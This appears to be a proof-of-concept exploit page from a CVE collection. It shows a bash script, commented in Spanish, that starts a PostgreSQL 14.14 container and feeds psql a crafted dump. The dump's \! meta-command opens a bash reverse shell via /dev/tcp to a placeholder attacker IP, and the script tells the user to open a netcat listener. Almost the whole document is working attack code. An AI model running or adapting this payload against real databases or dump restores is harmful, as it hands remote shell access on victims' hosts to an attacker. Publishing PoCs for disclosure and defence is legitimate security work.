4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.sh SH
#!/bin/bash
set -euo pipefail


ATTACKER_IP="ip-atacante"       # Cambia por tu IP donde tienes el listener nc abierto
LISTENER_PORT=4444              # Puerto donde escuchas la reverse shell
POSTGRES_VERSION="postgres:14.14"
CONTAINER_NAME="pg_rce"

function cleanup() {
  echo "[*] Limpiando..."
  docker rm -f "$CONTAINER_NAME" &>/dev/null || true
}

trap cleanup EXIT

##############################
# 1. Crear dump con payload reverse shell en memoria (sin archivo)
##############################

generate_payload() {
  cat <<EOF
SELECT current_date;
\\! bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1'
EOF
}

##############################
# 2. Levantar contenedor PostgreSQL vulnerable
##############################

echo "[*] Levantando contenedor PostgreSQL $POSTGRES_VERSION..."
cleanup
docker run -d --name "$CONTAINER_NAME" -e POSTGRES_PASSWORD=postgres -p 5432:5432 "$POSTGRES_VERSION"

echo "[*] Esperando a que el contenedor PostgreSQL arranque..."
sleep 10

##############################
# 3. Ejecutar dump en contenedor vía psql con payload
##############################

echo "[*] Ejecutando payload reverse shell en contenedor víctima..."
docker exec -i "$CONTAINER_NAME" psql -U postgres -v ON_ERROR_STOP=1 <<< "$(generate_payload)"

echo "[*] Payload ejecutado. Abre tu listener netcat manualmente para recibir la shell reversa:"
echo "    nc -lvnp $LISTENER_PORT"

echo "[*] PoC finalizado. Limpieza automática al salir."